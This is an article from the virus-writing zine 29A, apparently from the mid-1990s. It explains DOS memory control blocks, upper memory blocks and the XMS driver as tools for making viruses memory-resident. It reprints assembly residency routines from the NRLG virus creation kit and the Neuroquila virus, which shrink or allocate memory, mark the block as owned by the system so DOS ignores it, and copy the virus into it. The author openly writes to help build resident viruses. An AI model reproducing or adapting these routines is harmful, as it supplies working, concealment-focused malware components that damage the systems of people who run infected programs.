Copy Link
Add to Bookmark
Report
29A Issue 01 02 04
Upper memory residency
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ>
IntrusO
Well, i'll try to describe some routines used by some viruses to copy
themselves into upper memory... in order to do this, i'll try to describe
what's that we call upper memory, type we're interested in, the MCB, etc.
Then i'll try to trace a bit of Neuroquila, looking for the techniques it
it uses for this kind of residency. Let's start :-)
ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
³ Upper Memory ³
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
DOS has something we call UMBs; the segment where they start is kept at
offset 1fh at the information table about disk buffers whose direction is
returned at ES:BX+12h by the get list of lists -52h-, but in order to be
able to get onto upper memory blocks, these must be linked to conven-
tional memory blocks; if not, we'll do it by function 58h (Neuroquila vi-
rus does this) ;-) The format of MCBs at UMBs is the following:
offset 0 byte: 5ah if the last one and 4dh otherwise
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
" 1 word: with the PID (Process ID)
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
" 3 word: size of block in paragraphs
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
" 8 8 bytes: 'UMB' if first block and SM if the last one
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
Then we also have this other memory we're also interested in... the XMS
controller, which Neuroquila (how not!) does also use... the XMS contro-
ller (HIMEM.SYS loads it) adds functions to manage upper memory.
In order to employ the XMS controller services we must check function 43h
int 2fh (multiplex), checking for 80h in AL (what Neuroquila does).
Once we know XMS is there, we must ask where to find it, with subfunction
10h, as XMS is not called by means of an int. It would be something like:
mov ax,4310h ; Ask address
int 2fh
mov xms_seg,es ; Save it
mov xms_off,bx
Where xms_** would be a struc type of:
xms_mgr label dword
xms_off dw 0
xms_seg dw 0
Then, when we would want to use the manager, we'd use function number at
AH, and run a call xms_mgr.
ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
³ Normal memory blocks ³
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
(Erhmm... i think i sould have started here O:))
Memory blocks under DOS are bytes arrays, always multiples of 16. There-
fore, a 16 bit word may keep the address of any part of the memory inside
inside the meg an 8086 can handle. When a program is run, the system cre-
ates two blocks for itself: the program memory block, and the enviroment
memory block.
When a program is run, DOS searches the largest memory block available,
and assigns it to the program. The first paragraph address is called PID;
moreover, in the first 256 bytes of this area, DOS creates PSP. The en-
vironment block is the zone where variables are kept: PATH, SET, etc. Now
let's talk about MCBs (Memory Control Blocks), as both the program block
with the enviroment are following a header that contains the information
about the assigned MCB. This way:
offset 0 byte: ID
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
" 1 PID owner
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
" 3 size
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
" 5 to 7 reserved
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
" 8 to 15 name of owner
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
Usually, a virus would subtract its length from the size kept at offset 3
and then call int 21h function 4ah to free the memory, and get it again
somewhere else with function 48h. After it, it would mark the MCB with an
an 8 at offset 1 (PID). Why? Because system has this PID; this way, it
'tricks' DOS not to use that portion of memory; it's only left to rep mo-
vsb into the block.
Memory managing functions
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
48h - Allocate memory block
Input: BX = size of block, in paragraphs
Output: if CF = 1, AX = error code
AX:0 = address of memory block
BX = if there was an error, it contains the maximum
size available
49h - Free memory block
Input: ES = Memory block segment
Output: if CF = 1 , AX = error code
4ah - Modify allocated memory blocks
Input: ES = Memory block segment
BX = new size of block, in paragraphs
Output: if CF = 1 , AX = error code
BX = if there was an error, it contains the maximum
size available
This can be seen, for instance, in this routine i took from the NRLG vi-
rus creation tool. I think it's very easy to understand... hope no one
turns up with the (c) cause i wouldnt mind to take the routine from some-
where else and this way i'm promoting it };)
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8
push cs ;
pop ax ;ax = my actual segment
dec ax ;dec my segment for look my MCB
mov es,ax ;
mov bx,es:[3] ;read the #3 byte of my MCB =total used memory
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
push cs ;
pop es ;
sub bx,(offset fin - offset start + 15)/16 ;subtract the large of my virus
sub bx,17 + offset fin ;and 100H for the PSP total
mov ah,4ah ;used memory
int 21h ;put the new value to MCB
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
mov bx,(offset fin - offset start + 15)/16 + 16 + offset fin
mov ah,48h ;
int 21h ;request the memory to fuck DOS!
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
dec ax ;ax=new segment
mov es,ax ;ax-1= new segment MCB
mov byte ptr es:[1],8 ;put '8' in the segment
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
inc ax ;
mov es,ax ;es = new segment
lea si,[bp + offset start] ;si = start of virus
mov di,100h ;di = 100H (psp position)
mov cx,offset fin - start ;cx = lag of virus
push cs ;
pop ds ;ds = cs
cld ;mov the code
rep movsb ;ds:si >> es:di
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8
This would be the way to copy into memory for a .COM infector. There are
some viruses which are clumsier, to say it some way, like the 'famous' (i
still can't understand why) Friday 13th (Jerusalem), which calls int 21h,
function 31h in order to stay resident, having to execute itself again...
it isn't worth to waste our time with that, and i'm sorry for those who
use *that*, but i consider it bullshit... a virus oughts to be resident!
Well, up to this point, someone will be pleading for some code from Neu-
roquila ;D here it is... :)
try_to_move_virus:
push ds
push es
mov ah,52h ; get list of Lists
int 21h
mov ds,word ptr es:[bx-2] ; First MCB segment
mov si,10h
cmp byte ptr [si-0ch],80h ; ¨block size > 80FFh paragraphs?
mov al,0
ja DOS2_not_loaded_yet ; sure
mov di,memory_size ; size it needs
; memory_size = (offset memory_top - offset start + 15) /16
call alloc_mem
Here, we'll have a deep look into this interesting routine ;)
ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
³ Memory allocation routine ³
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
alloc_mem:
mov ax,4300h
int 2fh ; He asks for XMS
cmp al,80h
jnz no_xms_driver
Curiously, we should check for the 2fh vector to be different from 0, coz
that would mean that XMS isn't initialized for that DOS version and the
system would hang; anyway, i've seen NO program to bear this in mind...
can it be, anyway, a bug of Neuroquila? }:)
Take it easy, i know some of you are heavy fans of this virus :DDD It is
not a bug; Neuroquila first checks for the DOS version it's running under
;)
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8
mov ax,4310h
int 2fh
mov word ptr xms_addr,bx
mov word ptr xms_addr+2,es ; What i said before ;)
mov ah,10h ; Allocate upper memory
mov dx,di ; size in paragraphs
call xms_addr ; take it as an int
dec ax ; are we going?
jnz no_xms_driver ; nope
mov bp,bx ; BP = UMB segment
ret ; and returns
no_xms_driver:
; XMS isn't available, allocate upper memory, DOS 5.0 needed
mov ax,5800h
int 21h ; get strategy
push ax
mov ax,5801h ; low memory best fit
push ax
mov bx,0080h ; puts allocation strategy
int 21h ; BL=new strategy BH=00 (DOS 5+)
mov ax,5802h ; low memory last fit
int 21h ; get UMB state
mov ah,0 ; preserve it
push ax
mov ax,5803h
push ax
mov bl,1 ; Connects UMB blocks
int 21h
mov ah,48h
mov bx,di ; Allocate memory, BX = para
int 21h ; of memory
xchg bp,ax ; BP = assigned segment
pop ax
pop bx
int 21h
pop ax
pop bx
int 21h ; Restore strategy
ret ; and returns
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8
Well, well, well, now we continue with the main routine...
mov dx,bp ;-) let's remember what's in BP
cmp dh,0A0h ; DX=0A000h
jb in_low_mem ; low_mem? then go down!
dec bp
mov ds,bp
mov ax,di
mov word ptr [si-0fh],8 ; MCB belongs to system
jmp move_virus ; just copy it
in_low_men:
Let's see several interesting properties of memory blocks in DOS 4.0 and
5.0, that Neuroquila will 'work' with ;)
Well, since DOS 3.1, first memory block is a system data segment, which
contains the device drivers in CONFIG.SYS. From DOS 4.0 and further on,
this block is divided into smaller ones, each of which, preceeded by a
MCB with the following structure:
offset 0: Byte, type of segment:
'D' - Device driver
'E' - " " extension
'I' - IFS driver (Installable File System)
'F' - FILES = If FILES > 5, place where they are kept
'X' - FCBS = place where kept
'C' - BUFFERS = /X Expanded Memory buffers
'B' - BUFFERS = buffers area
'L' - LASTDRIVE = place where kept
'S' - STACKS = system code and stack zone
'T' - INSTALL = this order's area
offset 1: Word, indicates where the subsegment starts (generally
after it)
offset 3: Word, size of subsegment (paragraphs)
offset 8: 8 bytes: in types 'D' and 'I', name of file that loaded
the driver
This way, since DOS 4.0 once found first MCB, we can jump it and take the
next one. In DOS 5.0, system blocks have 'SC' (System Code) or 'SD' (Sys-
tem Data, which would be equal to those of the DOS 4.0) in their name.
It is here where Neuroquila starts to check this MCB of the subblocks.
push ds
cmp byte ptr [si],46h ; FILES= ? 'F' (in hex)
jz next_subMCB
cmp byte ptr [si],44h ; DEVICE= ? 'D'
jnz no_subMCB
next_subMCB:
cmp byte ptr [si],4dh ; next MCB? (5ah if last)
jz last_subMCB
cmp byte ptr [si],54h ; INSTALL=? 'T'
jz last_subMCB
mov ax,word ptr [si+1] ; MCB owner
dec ax
mov es,ax
add ax,word ptr [si+3] ; More size for memory block
mov ds,ax
jmp next_subMCB ; and again!
last_subMCB:
lea ax,[bp+di]
sub ax,es:[si-0fh]
mov es:[si-0dh],ax
no_subMCB:
pop ds
mov ax,ds ; First MCB segment
sub bp,ax
xchg bp,ax
add ax,memory_size - 1
move_virus:
mov virus_segment,ds
push cs
pop ds
assume ds:code 2
mov virusMCB_size,ax
mov es,dx
mov al,(offset allready_moved-offset virus_moved_from_fixed_segment)
mov byte ptr virus_moved_from_fixed_segment,al
mov cx,offset memory_top
xor si,si
xor di,di
cld
rep movsb
Neuroquila has many more to give, but for now... i put this, just in case
someone doesn't have the Neuroquila source code, published in VLAD#5 (it
is high time!) }:D
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8
already_moved:
push ds
; push word ptr 0c801h
db 68h
virus_segment dw 0c801h
pop ds
; mov word ptr [3],014eh
db 0c7h,06h
dw 3
virusMCB_size dw 014eh
pop ds
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
DOS2_not_loaded_yet:
pop es
pop ds
assume ds:nothing
do_not_move:
mov byte ptr virus_moved_from_fixed_segment,al
popa
@@65:
retf
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8
That's all folks, hope my huge fingers and poor view, help me to write
some virus that would stay resident in upper memory... :)
IntrusO ;)